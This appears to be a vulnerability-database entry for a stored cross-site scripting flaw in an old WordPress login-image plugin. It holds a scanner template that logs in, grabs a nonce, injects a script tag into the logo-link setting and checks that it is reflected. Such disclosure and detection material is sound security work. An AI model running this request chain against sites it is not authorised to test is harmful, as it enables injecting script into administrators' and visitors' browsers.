CVE-2021-33851: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting

2025-08-01 WordPress Customize Login Image PoC Public

Description

WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2021-33851

info:
  name: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
  author: 8authur
  severity: medium
  description: |
    WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update to the latest version of the WordPress Customize Login Image plugin (3.5.3) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
    - https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
    - https://wordpress.org/plugins/customize-login-image/
    - https://nvd.nist.gov/vuln/detail/cve-2021-33851
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-33851
    cwe-id: CWE-79
    epss-score: 0.01318
    epss-percentile: 0.69384
    cpe: cpe:2.3:a:apasionados:customize_login_image:3.4:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: apasionados
    product: customize_login_image
    framework: wordpress
  tags: cve,cve2021,wpscan,wordpress,customize-login-image,wp,authenticated,wp-plugin,xss,apasionados,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=customize-login-image-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_4 == 200'
          - 'contains(header_4, "text/html")'
          - 'contains(body_4, "Go to <script>alert(document.domain)</script>")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
        internal: true
        part: body
# digest: 4a0a00473045022100f9e9fc5bc5beeb18eb99c029c34be86a783e16cfa14ec603c321121474ad1dfd02205647abb6324ea24c3bce9ab7d1b4d38518d76fa074708fa5361c14cf3b098314:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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